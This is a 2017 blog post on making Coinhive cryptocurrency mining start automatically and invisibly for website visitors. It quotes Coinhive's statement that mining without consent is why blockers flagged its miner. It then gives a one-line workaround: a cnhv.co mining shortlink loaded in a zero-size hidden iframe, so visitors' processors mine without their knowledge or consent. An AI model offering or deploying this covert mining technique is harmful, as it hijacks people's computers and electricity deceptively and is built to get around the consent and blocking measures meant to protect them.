Dec 19, 2017

How to make Coinhive autostart in the background when someone visits your site

I wrote a little while back that I was going to give Coinhive a shot for monetizing Bauer-Power. The sucky thing about it is that using their Simple Miner UI, it requires users to actively press the start button to start the mining process. I'm going on on a limb here to say that 99.999999% of the people visiting your website won't click the start button at all. People want their free content, and they don't want to throw anyone a bone. That's why AdBlock is so popular...

According to Coinhive's documentation, they did this because AdBlockers were blocking their miners.

From their page:
Shortly after the launch of Coinhive, several Adblockers have begun blocking our miner. This is unfortunate because we intended Coinhive to be an alternative to ads, precisely for users with adblockers. 
However, we have to acknowledge that the decision to block Coinhive was understandable as it was possible to run the miner on a webpage without asking the visitor for consent or even informing them. Even some antiviruses now consider our JavaScript miner as a threat, which makes it difficult for website owners to use Coinhive at all. 
We implemented AuthedMine as a solution to these problems. The JavaScript Miner, Simple UI and Captcha, when loaded from authedmine.com, will never start without asking for consent from the user or (for the Simple UI and the Captcha) letting them explicitly start mining through a click. 
We realize this opt-in may be clunky and not fit all too well with your use case, but we strongly believe that being honest with the user will ultimately be beneficial - for users and website owners alike. 
Neither the JavaScript files on authedmine.com nor the domain names are currently blocked by any adblockers or antiviruses. We will talk to adblock and antivirus vendors so it will hopefully stay this way.
Basically, they load their tools now from authedmine.com to avoid AdBlockers and letting users opt in. You can also try loading their JavaScript miner from https://coinhive.com/lib/coinhive.min.js, but they don't recommend it, and it will most likely get blocked by an AdBlocker.

So what is one to do as an alternative? Well, here is something that works for me. You can load a Coinhive shortlink in a hidden iFrame instead! What is a shortlink? I'm glad you asked!

From their page:
If you have a URL you'd like to forward your users to, you can create a cnhv.co shortlink to it. The user has to solve a number of hashes (adjustable by you) and is automatically forwarded to the target URL afterwards.
Basically it is like TinyURL or IS.GD but before the user is redirected, they have to do some mining for you. You can set the hash limit from 256 hashes up!

The code example below loads in an invisible iFrame, and once the visitor's CPU computes 512 hashes, it gets redirected to a Wikipedia post about Monero. Users never see it though. In my example link I set the hash limit relatively low so it will mine quick, and then stop quick... So as not to be a complete asshole!

The example code is:

<iframe src="https://cnhv.co/q5p9" style="border: 0; border: none; height: 0; width: 0;"></iframe>


It really can't be any simpler than that!

Are you going to give this a try? Let us know in the comments!



Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | stopping spam